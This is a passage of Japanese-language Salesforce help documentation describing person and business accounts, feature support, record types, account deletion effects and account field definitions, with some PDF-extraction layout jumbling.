• Salesforce for Outlook

• Connect Offline

個人取引先は、Lightning Sync ではサポートされていません。

重複ルールでは、個人取引先がサポートされています。ただし、重複する個人
取引先のマージはサポートされていません。

重複管理

取引先責任者と同様、個人取引先には個別のメールと一括メールを送信できま
す。

メール

個人取引先はサポートされますが、追加の設定が必要です。ExactTarget

個人取引先レコードに表示される取引先および取引先責任者項目は、取引先項
目履歴設定を使用して追跡できます。個人取引先の項目履歴は [取引先履歴] 関
連リスト、取引先履歴レポート、および項目監査履歴で参照されます。

項目の履歴
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個人取引先の処理Salesforce の機能

ほとんどの標準取引先項目および標準取引先責任者項目と、すべてのカスタム
取引先項目およびカスタム取引先責任者項目は、個人取引先ページレイアウト
で使用できます。
一部の法人取引先項目 ([親取引先]、[階層の表示] など) と一部の取引先責任者
項目 ([上司] など) は個人取引先ではサポートされません。

項目

「個人取引先項目」を参照してください。

住所の地理コードは、法人取引先には追加できますが、個人取引先には追加で
きません。

地理コード

Salesforce Classic では、個人取引先には、個人アイコン ( ) が使用され、法人取
引先にはフォルダアイコン ( ) が使用されます。

アイコン

Lightning Experienceでは、個人取引先にはビル付きの個人アイコン ( ) が使用さ
れ、法人取引先にはビルアイコン ( ) が使用されます。
[個人取引先]項目を該当する検索レイアウトまたはリストビューに追加するこ
とで、個人取引先を検索結果に表示できます。

個人取引先は、データインポートウィザードを使用してインポートできます。インポートウィザード

[会社] 項目に値がないリードは、個人取引先に変換されます。[会社] 項目に
値のあるリードは、法人取引先に変換されます。

リードの取引の開始

個人取引先は、すべての取引先および取引先責任者リストビューに表示されま
すが、[取引先責任者] ホームページの [最近の取引先責任者] リストには表示さ
れません。
どのレコードが個人取引先かをすばやく確認するには、[個人取引先]項目を表
示する項目のリストに追加します。個人取引先をリストビューに追加またはリ
ストビューから除外するには、[個人取引先] 項目を検索条件に追加します。

リストビュー

Salesforce Classic Mobile設定に取引先オブジェクトが含まれている場合、個人取引
先と法人取引先がユーザのモバイルデバイスに自動的に送信されます。
「個人取引先 次の文字列と一致する False」という条件を使用して、設定の
データセットから個人取引先を除外できます。個人取引先のみをモバイル化す

Salesforce Classicのモバイル設
定

るには、「個人取引先 次の文字列と一致する True」という条件を使用します。
モバイル設定に取引先のみが含まれ、取引先責任者が含まれていない場合、そ
の設定に割り当てられたユーザのモバイルクライアントアプリケーションには
[取引先責任者] タブが表示され、そのタブに個人取引先が含まれます。

個人取引先コンポーネントと属性を管理パッケージや未管理パッケージに含め
ることができます。

パッケージ化
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個人取引先の処理Salesforce の機能

個人取引先には、固有のページレイアウトがあり、取引先項目、取引先責任者
項目、取引先のカスタムリンク、取引先関連リスト、および取引先責任者関連
リストを含めることができます。
個人取引先のページレイアウトでは、[上司] と [親取引先] 項目はサポートさ
れません。「個人取引先項目」を参照してください。

ページレイアウト

個人取引先はサポートされますが、追加の設定が必要です。Pardot

個人取引先を相互に関連付けるために、[パートナー] 関連リストを使用できま
す。個人取引先間の関連を反映して [パートナー] 関連リストの名前を変更する
ことをお勧めします。

パートナー

個人取引先を作成または編集すると、プロセスビルダーで作成されたプロセス
がトリガされます。

プロセスビルダー

システム管理者は複数のレコードタイプを個人取引先に設定できます。ユーザ
インターフェースで、個人取引先は他の個人取引先レコードタイプにのみ変更

レコードタイプ

することができます。詳細は、「取引先のレコードタイプの変更に関するガイ
ドライン」を参照してください。

個人取引先レコードに表示されるタブと項目の名前をカスタマイズするには、
システム管理者が取引先と取引先責任者のタブと項目をカスタマイズする必要
があります。

名称変更したタブと標準項
目

個人取引先と Salesforce1 が有効な組織では、Salesforce1 内のほとんどの機能につ
いて個人取引先の作成、アクセス、および管理ができます。

Salesforce1

Lightning ExperienceとSalesforce1では、個人取引先が取引先と取引先責任者の両方
の検索結果に表示されます。Salesforce Classicでは、個人取引先は取引先の検索結
果にのみ表示されます。
検索結果でユーザが個人取引先と法人取引先を区別しやすいように、システム
管理者は [個人取引先] 項目を該当する検索結果に追加できます。

検索

取引先責任者と同様、個人取引先は、セルフサービスポータルのユーザとして
有効化できます。

セルフサービスポータル

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用でき
ません。既存の組織は、引き続きセルフサービスポータルを使用できま
す。

個人取引先が有効になっていると、取引先責任者に対する組織の共有設定は、
[親レコードに連動] に設定され、変更できません。
取引先責任者の共有設定をカスタマイズしていて、個人取引先を有効にする場
合、取引先責任者に対する組織の共有設定を [親レコードに連動] に変更します。

共有設定

この設定により、取引先責任者共有ルールや手動で共有された取引先責任者は
すべて削除されます。
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個人取引先の処理Salesforce の機能

取引先責任者と同様に、個人取引先はソーシャルネットワークプロファイルに
リンクできます。

ソーシャル取引先、取引先
責任者、およびリード

取引先責任者と同様、個人取引先には、個別にまたは一括で登録情報照会を送
信できます。

登録情報照会

それぞれの個人取引先は、1 件の取引先と 1 件の取引先責任者で構成されるた
め、個人取引先は、取引先と取引先責任者両方のストレージにカウントされま
す。

ストレージ

個人取引先を作成または編集すると、Visual Workflow で作成されたフローがトリ
ガされます。

Visual Workflow

個人取引先を作成または編集すると、取引先ワークフロールールを起動しま
す。

ワークフロールール

関連トピック:

個人取引先とは?

個人取引先の有効化
https://help.salesforce.com/help/pdfs/en/salesforce_B2C_implementation_guide.pdf

取引先のレコードタイプの変更に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードの作成時に使用可能なビジネスプロセス、選択リスト値、ページレイ
アウトは、レコードタイプによって決まります。取引先のレコードタイプを変
更する前に、次の重要な詳細事項に注意してください。
組織で個人取引先を使用している場合、システム管理者は取引先に 2 つのレコー
ドタイプ、つまり法人取引先と個人取引先を設定しています。UI から、ある法
人取引先を別の法人取引先に、またはある個人取引先を別の個人取引先に、取
引先のレコードタイプを変更できます。ただし、法人取引先から個人取引先に、
または個人取引先から法人取引先に取引先のレコードタイプを変更する場合は、
API を使用する必要があります。

関連トピック:

ユーザごとのビジネスプロセスの調整
実装ガイド: 個人取引先の実装
SOAP API 開発者ガイド: 個人取引先レコードタイプ
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取引先の一覧表示

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先リストを参照する
• 取引先に対する「参

照」

法人取引先を作成する
• 取引先に対する「作

成」

個人取引先を作成する
• 取引先と取引先責任者

に対する「作成」

取引先のリストページでは、取引先一覧が現在のビューに表示されます。
• 取引先名をクリックして、取引先の詳細を表示します。
• また、取引先名の横にある [編集] か [削除]をクリックすることで、取引先を

編集または削除できます。
• 組織で個人取引先を使用していて、現在のリストビューに [個人取引先] 項

目が含まれている場合、Salesforce Classic ではこの項目の列ヘッダーに個人取
引先アイコン ( ) が表示されます。リスト中の個人取引先を昇順または降順
に並び替えるには、ヘッダーの個人取引先アイコンをクリックします。

関連トピック:

取引先
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取引先の使用

エディション

法人取引先を使用可能イ
ンターフェース: Salesforce
Classic および Lightning
Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先に対する「参照」取引先を参照する

取引先に対する「編集」法人取引先を編集する

取引先と取引先責任者に対する「編集」個人取引先を編集する

「外部ユーザの管理」パートナー取引先を有効にする

取引先に対する「編集」

および

「外部ユーザの管理」

パートナー取引先を無効にする

取引先に対する「編集」

および

「セルフサービスユーザの編集」

カスタマーポータル取引先を無効にする

取引先とは状況を把握したい組織、会社、または消費者。たとえば、顧客、パー
トナー、競合会社など。
• 取引先の表示と編集
• ソーシャル取引先、取引先責任者、およびリードを使用した、取引先のソーシャルネットワークプロファ

イルの表示、ソーシャルメディアの影響のレベルの表示、関連する YouTube 動画の閲覧
• 取引先関連情報の検索 (取引先責任者など)

• 取引先の Data.com 取引先責任者の取得
• Data.com Clean による取引先レコードのクリーンアップ
• Chatter を使用した取引先の更新とコメントの表示
• カスタマーポータルユーザに取引先へのアクセス権を付与
• 稼働時間とサービス人員設定を取引先に追加して、フィールドサービス設定を反映します。

関連トピック:

取引先
パートナー取引先の作成
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取引先の詳細の表示と編集

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先に対する「参照」取引先を参照する

取引先に対する「編集」法人取引先を編集する

取引先と取引先責任者に対する「編集」個人取引先を編集する

「外部ユーザの管理」パートナー取引先を有効にする

取引先に対する「編集」

および

「外部ユーザの管理」

パートナー取引先を無効にする

取引先に対する「編集」

および

「セルフサービスユーザの編集」

カスタマーポータル取引先を無効にする

取引先のホームページまたはリストページで取引先を指定し、取引先名をクリッ
クすると、取引先の詳細ページが表示されます。
• 詳細ページで項目を直接編集するには、インライン編集を使用します。イン

ライン編集が有効になっていない場合は、システム管理者にお問い合わせく
ださい。インライン編集は、Salesforce Classic でのみ使用できます。

• ページを編集モードで表示するには、[編集] をクリックし、変更を行ってから [保存] をクリックします。
• Salesforce Classic で現在の取引先を保存して、別の取引先を新規作成するには、[保存 & 新規] をクリックしま

す。
• レコードの詳細の印刷用表示を開くには、ページの右上隅にある [印刷用に表示] をクリックします。印刷

用表示は、Salesforce Classic でのみ使用できます。
• 取引先をパートナー取引先として有効化するには、[外部取引先の管理]をクリックして [パートナーとして

有効化] を選択します。会社がパートナーポータルを有効にしている場合、Salesforce Classic でのみ使用でき
ます。

• 個人取引先をカスタマーポータルとして有効化するには、[Manage External User (外部ユーザを管理)] をク
リックして [カスタマーユーザを有効化] を選択します。会社に個人取引先とカスタマーポータルがある場
合、Salesforce Classic でのみ使用できます。

メモ: 通常、取引先所有者は、その取引先に関連するすべてのデータを表示できます。
ただし、システム管理者は、そのユーザのロールに、取引先に関連付けられた商談でユーザが所有して
いないものを表示できるかどうかを決めるオプションを設定できます。
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また、取引先がテリトリーに割り当てられている場合、システム管理者は、そのテリトリー内のユーザ
が取引先を表示、編集、移行、または削除できるかどうかを決めるオプションを設定できます。

関連トピック:

取引先項目
取引先
取引先、取引先責任者、およびリードのプロファイル画像の選択と変更

取引先作成のガイドライン

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先を作成するときは、次のガイドラインを参考にしてください。
• 法人取引先を作成するには、取引先に対する「作成」権限が必要です。個人

取引先を作成するには、取引先と取引先責任者の両方に対する「作成」権限
が必要です。

• Salesforce システム管理者がレコードタイプを設定している場合、取引先を作
成するときに [レコードタイプ]の選択を要求される場合があります。レコー
ドタイプが異なると、項目や選択リスト値が異なる場合があります。

• 法人取引先を別の法人取引先の子会社に指定するには、[親取引先]項目を入
力します。これで、取引先の詳細ページから取引先階層を表示できます。
Lightning Experienceでは、[取引先階層を表示]をクリックします。Salesforce Classic

では、[階層の表示]リンクをクリックします。[親取引先]項目は、個人取引
先では利用できません。

• 同じ会社の別の場所を指定するには、[取引先 部門] 項目を使用します。た
とえば、Acme.com にはパリとロンドンに事業所があるとします。2 つの取引
先を作成し、名前は両方とも Acme.com としますが、[取引先 部門]にはそれ
ぞれパリとロンドンの値を設定します。

• Salesforce システム管理者がディビジョンを設定している場合、新規取引先の
ディビジョンは、別のディビジョンを手動で選択しない限り、自動的にデ
フォルトのディビジョンに設定されます。

• Salesforce システム管理者がテリトリー管理を設定している場合、取引先割り
当てルールで、新規作成した取引先をテリトリーに自動的に割り当てることができます。「テリトリー管
理に関するオブジェクト」 (ページ 1588)を参照してください。

関連トピック:

取引先項目
取引先階層の使用に関する考慮事項とガイドライン
レコードの作成および更新
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取引先削除時の影響について

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

取引先を削除する
• 取引先に対する「削

除」

ほとんどの取引先とその関連レコードは 1 回のクリックで削除できますが、一
部の取引先は、関連付けが削除されるまで削除できません。

重要: 取引先を削除できる場合、Salesforce Classic と Lightning Experience のどち
らでも、取引先の詳細ページ、および取引先リストページの該当する行に、
オプションとして [削除] が表示されます。削除オプションが表示されない
場合は、その取引先を削除する権限がありません。Salesforce システム管理
者にお問い合わせください。

削除された取引先は、関連項目と一緒にごみ箱に移動します。

メモ: Lightning Experienceからごみ箱にはアクセスできませんが、削除された
項目はごみ箱に入ります。ごみ箱の項目を表示または復元するには、一時
的に Salesforce Classic に切り替えます。

• 取引先責任者
• 商談
• 取引先責任者 (有効ではない場合)

• 活動
• メモ
• 添付ファイル
• ポータルロールおよびグループ (取引先のすべてのポータルユーザが無効な

場合)

• パートナーリレーション
• リレーショングループメンバー
ごみ箱から取引先を復元する場合、次の例外を除き、関連する項目もすべて復
元されます。
• 場合によってはリレーショングループメンバー。
• ポータルロールおよびグループ。「取引先の使用」 (ページ1382)を参照してく

ださい。
次の場合は、取引先を削除できません。
• 取引先に対する「削除」権限がない
• 取引先の所有者、組織のロール階層で取引先の所有者よりも上位、システム管理者のいずれでもない
• 取引先がパートナー取引先として有効化になっている。関連ケース、有効な契約、他のユーザが所有する

関連商談がある。または、関連取引先責任者がセルフサービスポータルで有効になっている。
さらに、現在のユーザによる成立した商談が取引先にある場合、その取引先を削除しようとすると、取引先と
一緒に成立した商談を削除するか、取引先の削除をキャンセルするかを確認するメッセージが表示されます。
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メモ: 削除に含まれる関連レコードに対する「削除」権限は必要ありません。

関連トピック:

レコードの削除
重複する取引先のマージ
取引先

取引先項目

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能な法人取引先項
目は、使用している
Salesforce のエディション
によって異なります。

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

使用可能な個人取引先項
目は、使用している
Salesforce のエディション
によって異なります。

取引先には、法人取引先項目と個人取引先項目があります。

法人取引先項目
法人取引先には、次の項目があります (アルファベット順)。ページレイアウト設
定と項目レベルセキュリティ設定によって、これらの項目には表示できないも
のや編集できないものがあります。
取引先レコードがData.comから追加された場合、次に示す特定の項目にData.com

または Dun & Bradstreet (D&B) 値 (値が使用可能な場合) が入力されます。一部の
Data.com項目は、特定のData.com製品の使用ライセンスを持つ組織でのみ使用で
きます。これらの項目は、項目の説明に明記されています。

Data.com または D&B の
値を許可する

説明項目

取引先における、すべて
の通貨金額項目のデフォ
ルト通貨。金額は取引先
通貨で表示され、ユーザ
の個人設定の通貨にも変
換されます。マルチ通貨
を使用する組織でのみ表
示されます。

取引先 通貨

取引先が属するディビ
ジョン。取引先責任者や

取引先 ディビジョン

商談など、取引先に関連
付けられるレコードは、
自動的に取引先のディビ
ジョンを継承します。
ディビジョンを使用して
データを分割している組
織でのみ利用可能です。
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Data.com または D&B の値を許可す
る

説明項目

 (D&B)会社の名前。この項目は最大 255

文字まで入力できます。
取引先名

ローカル言語に翻訳された取引先
の名前。

取引先名 (ローカル)

取引先の追跡 (参照) 番号。この項
目は最大 40 文字まで入力できま
す。

取引先番号

取引先の割り当てられた所有者。
Personal Edition では利用できませ
ん。

取引先所有者

どのような選択リスト値がそのレ
コードで使用可能かを決定する項

取引先レコードタイプ

目名。使用可能なエディション
は、Professional Edition、Enterprise

Edition、Unlimited Edition、Performance

Edition、および Developer Edition で
す。

 (D&B)単一の場所、本社、支店など、取引
先の場所の情報。この項目は最大
80 文字まで入力できます。

取引先 部門

 (Data.com)取引先レコードのソース。たとえ
ば、「広告」、「Data.com」、

取引先ソース

「展示会」などです。ソースは、
システム管理者が設定した選択可
能な値リストから選択したもので
す。選択リストの値には、40 文字
まで入力可能です。

 (D&B)報告されている年間収益額。年間売上

メモ: Data.com Prospector また
は Data.com Clean を使用して
取引先レコードをクリーン
アップする場合、Data.comで
は、毎月、米国ドル以外の通
貨を米国ドルに変換します。
これにより、この項目の値が
変わる場合があります。米国
ドル以外の通貨を使用する組
織では、レコードのクリーン

1387

顧客、競合、およびパートナーの設定顧客への営業



Data.com または D&B の値を許可す
る

説明項目

アップ状況を特定するときに
[年間売上] 項目が無視され
ます (そのため、[状況をク
リーンアップ] 項目の値は変
わりません)。また、取引先
レコードおよびクリーンアッ
プ比較ページの [年間売上]

項目からもこの値が削除され
ます。

 (D&B)請求先住所の市区郡部分。最大 40

文字です。
市区郡(請求先)

 (D&B)請求先住所の国名部分。エントリ
は標準値の選択リストから選択す

国(請求先)

るか、テキストとして入力しま
す。項目がテキスト項目の場合
は、最大 80 文字です。

 (D&B)請求先住所の都道府県部分。エン
トリは標準値の選択リストから選

都道府県(請求先)

択するか、テキストとして入力し
ます。項目がテキスト項目の場合
は、最大 80 文字です。

 (D&B)請求先に使用される町名・番地。
この項目は最大 255 文字まで入力
できます。

町名・番地(請求先)

 (D&B)請求先住所の郵便番号部分。最大
20 文字です。

郵便番号(請求先)

 (Data.com)Data.com と比較したレコードのク
リーンアップ状況。有効な値は未

状況をクリーンアップ

比較、同期済み、確認済み、不一
致、該当なし、無効 です。この項
目は、Data.com Prospector または
Data.com Clean を使用する場合に使
用できます。

メモ: Data.com Prospector また
は Data.com Clean を使用して
取引先レコードをクリーン
アップする場合、Data.comで
は、毎月、米国ドル以外の通
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Data.com または D&B の値を許可す
る

説明項目

貨を米国ドルに変換します。
これにより、[年間売上] 項
目の値が変わる場合がありま
す。米国ドル以外の通貨を使
用する組織では、レコードの
クリーンアップ状況を特定す
るときに [年間売上] 項目が
無視されます (そのため、[状
況をクリーンアップ] 項目の
値は変わりません)。

取引先を作成したユーザ、作成日
時も含む (参照のみ)。

作成者

 (Data.com)Data.com の会社の ID。Salesforce レ
コードをData.comレコードと (手動

Data.com キー

クリーンアップまたは自動クリー
ンアップジョブによって) 比較する
とき、Data.com で一致するレコー
ドが検出されると、2 つのレコード
はこの項目の数値によってリンク
されます。

 (D&B)対応する D&B 企業レコードへのリ
ンク。リンク先に取引先の Dun &

D&B 企業

Bradstreet (D&B) 項目が表示されま
す。別の D&B 企業レコードを取引
先に関連付ける必要がある場合
は、ルックアップを使用します。
この項目は、Data.com Prospector ま
たは Data.com Clean を使用する組織
でのみ使用できます。

 (D&B)取引先の説明。この項目には最大
32 KB までのデータを入力できま

説明

す。レポートには、最初の 255 文
字だけが表示されます。

 (D&B)Data Universal Numbering System

(D-U-N-S) Number は、D&B データベー
D-U-N-S 番号

ス内の、それぞれ事業が異なる一
意の各事業所に割り当てられた一
意の 9 桁の番号です。D-U-N-S

Number は、事業の識別と追跡のた
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Data.com または D&B の値を許可す
る

説明項目

めの世界標準として世界中の産業
と組織で使用されます。この項目
は、Data.com Prospector または
Data.com Clean を使用する場合に使
用できます。

メモ: 完全な D-U-N-S Number

を表示するには、次のいずれ
かを実行します。
• 取引先を Salesforce に追加

する (まだ実行していない
場合)、または

• Data.comを使用して取引先
をクリーンアップする
(Salesforce にすでに存在す
る場合)

レコードを追加またはクリー
ンアップするまで、先頭 5 桁
はアスタリスク (*) でマスク
されます。

 (D&B)取引先の従業員数。従業員数

オンにした場合、取引先が編集お
よび保存されるときに取引先割り

保存時にこの取引先をテリトリールー
ルに照らして評価します

当てルールを実行します。システ
ム管理者は、取引先のページレイ
アウトをカスタマイズするとき
に、このチェックボックスを表示
するかどうか、デフォルトでオン
にするかどうかを制御できます。
「テリトリー管理に関するオブ
ジェクト」 (ページ1588)を参照して
ください。

オンにした場合、取引先は取引先
割り当てルールの実行時には評価

テリトリーの割り当てルールから除
外

されず、テリトリーに自動的には
割り当てられません。また、取引
先がすでに割り当てルールの結果
としてテリトリーに割り当てられ
ている場合、このチェックボック
スをオンにすると、取引先はテリ
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Data.com または D&B の値を許可す
る

説明項目

トリーから削除されます。この
チェックボックスは、ルールに基
づいた取引先割り当てにのみ影響
し、手動の取引先割り当てには影
響しません。「テリトリー管理に
関するオブジェクト」 (ページ1588)

を参照してください。
 (D&B)Fax 番号。この項目は最大 40 文字

まで入力できます。
Fax

 (Data.com)取引先の主要業務。エントリは、
システム管理者が設定した選択可

業種

能な値リストから選択したもので
す。選択リストの値には、40 文字
まで入力可能です。

取引先項目を最後に変更したユー
ザ、変更日時も含む。ここでは、

更新者

取引先の関連リスト項目のいずれ
かに行った変更は追跡しません (参
照のみ)。

 (D&B)6 桁の North American Industry

Classification System (NAICS) コードは、
NAICS コード

企業と政府で使用される標準コー
ドで、事業所をその経済行動に
従って産業別に分類します。米国
の企業経済に関連する統計データ
の収集、分析、公開を目的として
います。この項目は、Data.com

Prospector または Data.com Clean を使
用する場合に使用できます。

 (D&B)NAICS コードに基づいた、組織の業
種の短い説明。この項目は、

NAICS の説明

Data.com Prospector または Data.com

Cleanを使用する場合に使用できま
す。

 (D&B)公開や非公開などの会社所有形
態。エントリは、システム管理者

会社形態

が設定した選択可能な値リストか
ら選択したものです。選択リスト
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Data.com または D&B の値を許可す
る

説明項目

の値には、40 文字まで入力可能で
す。

会社がより大きい会社または組織
の子会社である場合の親会社。親

親取引先

取引先は、Salesforce の既存の取引
先でなければなりません。取引先
名を入力、またはルックアップア
イコンを使用して取引先を選択 (ま
たは、必要に応じて作成) します。

取引先がパートナー取引先である
かどうかを示す参照専用の項目。

パートナー取引先

 (D&B)取引先の主電話番号。この項目は
最大 40 文字まで入力できます。

電話

Hot (見込み有り)、Cold (見込み無し)

など、この取引先に対する評価の
評価

カテゴリ。エントリは、システム
管理者が設定した選択可能な値リ
ストから選択したものです。選択
リストの値には、40 文字まで入力
可能です。

 (D&B)納入先住所の市区郡部分。最大 40

文字です。
市区郡(納入先)

 (D&B)納入先住所の国名部分。エントリ
は標準値の選択リストから選択す

国(納入先)

るか、テキストとして入力しま
す。項目がテキスト項目の場合
は、最大 80 文字です。

 (D&B)納入先住所の都道府県部分。エン
トリは標準値の選択リストから選

都道府県(納入先)

択するか、テキストとして入力し
ます。項目がテキスト項目の場合
は、最大 80 文字です。

 (D&B)主な連絡先または納入先住所の町
名・番地。最大 255 文字です。

町名・番地(納入先)

 (D&B)主な連絡先または納入先住所の郵
便番号部分。最大 20 文字です。

郵便番号(納入先)
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Data.com または D&B の値を許可す
る

説明項目

 (D&B)取引先の主要事業分類の標準産業
分類コード。この項目は最大 10 文
字まで入力できます。

産業コード

 (D&B)産業コードに基づいた、組織の業
種の短い説明。

産業区分の説明

取引先が割り当てられているテリ
トリー。「テリトリー管理に関す

テリトリー

るオブジェクト」 (ページ1588)を参
照してください。
Enterprise Territory Management を使用
する組織の場合、この項目は使用
できません。Enterprise Territory

Management には、取引先ページレ
イアウトに追加できる [割り当て済
みテリトリー] という関連リストが
あります。

 (D&B)特定の株式の公開株式を示すため
に使用される略語。銘柄コードと

株式コード

も呼ばれます。この項目は最大 20

文字まで入力できます。
 (D&B)正式名称とは別に、組織が事業活

動に使用する名前。屋号に似てい
取引形態

ます。この項目は、Data.com

Prospector または Data.com Clean を使
用する場合に使用できます。

顧客、競合会社、またはパート
ナーなど、取引先の種類。エント

種類

リは、システム管理者が設定した
選択可能な値リストから選択した
ものです。選択リストの値には、
40 文字まで入力可能です。

管理者が設定する取引先のカスタ
ムリンクのリスト。

カスタムリンク

 (Data.com)www.acme.com など、取引先の Web

サイトの URL。この項目は最大 255
Web サイト

文字まで入力できます。最初の 50

文字のみ表示されます。
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Data.com または D&B の値を許可す
る

説明項目

 (D&B)会社が設立された年、または会社
の現在の所有者または経営者が会

設立年

社の支配権を確立した年。会社が
設立された年と所有された年のど
ちらも不明な場合は、Dun &

Bradstreet レコードが作成された年
が使用されます。Dun & Bradstreet

は、支店についてはこのデータを
提供しません。この項目は、
Data.com Prospector または Data.com

Cleanを使用する場合に使用できま
す。

個人取引先項目
個人取引先には、次の標準項目があります (アルファベット順)。ページレイアウト設定と項目レベルセキュリ
ティ設定によって、これらの項目には表示できないものや編集できないものがあります。取引先責任者項目列
のチェックマークが付いている項目は、個人取引先でサポートされ、法人取引先ではサポートされていない取
引先責任者項目です。
リストには、組織のシステム管理者が作成するカスタム項目は含まれません。個人取引先では、取引先項目と
取引先責任者のカスタム項目の両方が利用できます。

取引先責任者項目説明項目

取引先における、すべての通貨金
額項目のデフォルト通貨。金額は

取引先 通貨

取引先通貨で表示され、ユーザの
個人設定の通貨にも変換されます。
マルチ通貨を使用する組織でのみ
表示されます。

取引先が属するディビジョン。取
引先責任者や商談など、取引先に

取引先 ディビジョン

関連付けられるレコードは、自動
的に取引先のディビジョンを継承
します。ディビジョンを使用して
データを分割している組織でのみ
利用可能です。

個人の名前。個人取引先の取引先
名は直接編集できません。代わり

取引先名

に Salesforce により、[名] 項目と
[姓] 項目をユーザの言語設定に
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取引先責任者項目説明項目

従って適切な順序で結合した名前
が指定されます。組織で [ミドル
ネーム] および [肩書き] 項目が有
効化されている場合、それらの項
目も取引先名に含まれます。

ローカル言語に翻訳された取引先
の名前。

取引先名 (ローカル)

取引先の追跡 (参照) 番号。この項目
は最大 40 文字まで入力できます。

取引先番号

取引先の割り当てられた所有者。
Personal Edition では利用できません。

取引先所有者

どのような選択リスト値がそのレ
コードで使用可能かを決定する項

取引先レコードタイプ

目名。使用可能なエディションは、
Professional Edition、Enterprise Edition、
Unlimited Edition、Performance Edition、
および Developer Edition です。

単一の場所、本社、支店など、取引
先の場所の情報。この項目は最大
80 文字まで入力できます。

取引先 部門

報告されている年間収益額。年間売上

取引先責任者のアシスタント。最
大 40 文字です。

アシスタント

アシスタントの電話番号。最大 40

文字です。
アシスタント電話

請求先住所の市区郡部分。最大 40

文字です。
市区郡(請求先)

請求先住所の国名部分。エントリ
は標準値の選択リストから選択す

国(請求先)

るか、テキストとして入力します。
項目がテキスト項目の場合は、最
大 80 文字です。

請求先住所の都道府県部分。エン
トリは標準値の選択リストから選

都道府県(請求先)

択するか、テキストとして入力し
ます。項目がテキスト項目の場合
は、最大 80 文字です。
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取引先責任者項目説明項目

請求先に使用される町名・番地。
この項目は最大 255 文字まで入力で
きます。

町名・番地(請求先)

請求先住所の郵便番号部分。最大
20 文字です。

郵便番号(請求先)

取引先責任者の誕生日。項目をク
リックし、カレンダーから日付を
選択します。

誕生日

取引先を作成したユーザ、作成日
時も含む (参照のみ)。

作成者

管理者が設定する取引先のカスタ
ムリンクのリスト。

カスタムリンク

法人または組織の関連付けされた
部署。最大 80 文字です。

部署

取引先の説明。この項目には最大
32 KB までのデータを入力できます。

説明

レポートには、最初の 255 文字だけ
が表示されます。

取引先責任者が電話による連絡を
希望するかどうか。Data.comを使用

電話連絡拒否

する場合、[電話] 項目の値は検索
結果および取引先責任者カードで
は非表示になり、レコードをエク
スポートするときに作成される
.csv ファイルでは空白になりま
す。

取引先責任者のメールアドレス。
有効なメールアドレスが必要です。
最大 80 文字です。

メール

取引先責任者がメールの受信を希
望するかどうか。Data.comを使用す

メール送信除外

る場合、[メール] 項目の値は検索
結果および取引先責任者カードで
は非表示になり、レコードをエク
スポートするときに作成される
.csv ファイルでは空白になりま
す。

取引先の従業員数。従業員数
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取引先責任者項目説明項目

オンにした場合、取引先が編集お
よび保存されるときに取引先割り

保存時にこの取引先をテリトリールー
ルに照らして評価します

当てルールを実行します。システ
ム管理者は、取引先のページレイ
アウトをカスタマイズするときに、
このチェックボックスを表示する
かどうか、デフォルトでオンにす
るかどうかを制御できます。「テ
リトリー管理に関するオブジェク
ト」 (ページ1588)を参照してくださ
い。

オンにした場合、取引先は取引先
割り当てルールの実行時には評価

テリトリーの割り当てルールから除
外

されず、テリトリーに自動的には
割り当てられません。また、取引
先がすでに割り当てルールの結果
としてテリトリーに割り当てられ
ている場合、このチェックボック
スをオンにすると、取引先はテリ
トリーから削除されます。この
チェックボックスは、ルールに基
づいた取引先割り当てにのみ影響
し、手動の取引先割り当てには影
響しません。「テリトリー管理に
関するオブジェクト」 (ページ1588)

を参照してください。

Fax 番号。この項目は最大 40 文字ま
で入力できます。

Fax

取引先責任者が同報ファックスの
受信を希望するかどうか。

Fax 送信除外

個人の名前 (名)。この項目は最大 40

文字まで入力できます。
名

取引先責任者の自宅電話番号。最
大 40 文字です。

自宅電話

取引先の主要業務。エントリは、
システム管理者が設定した選択可

業種

能な値リストから選択したもので
す。選択リストの値には、40 文字
まで入力可能です。
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取引先責任者項目説明項目

個人の姓。この項目は最大 80 文字
まで入力できます。

姓

最後に登録情報照会が送信された
日付。

登録情報照会 最終依頼日

最後に登録情報照会が返されてマー
ジされた日付。

登録情報照会 最終更新日

広告、パートナー、Web などのレ
コードソース。エントリは、シス

リードソース

テム管理者が設定した有効な選択
リスト値から選択されます。選択
リスト値ごとに最大 40 文字。

郵送先住所の市区郡。最大 40 文字
です。

市区郡(郵送先)

住所の国(郵送先)。エントリは標準
値の選択リストから選択するか、

国(郵送先)

テキストとして入力します。テキ
スト項目の場合、最大 80 文字まで
入力できます。

住所の都道府県(郵送先)。エントリ
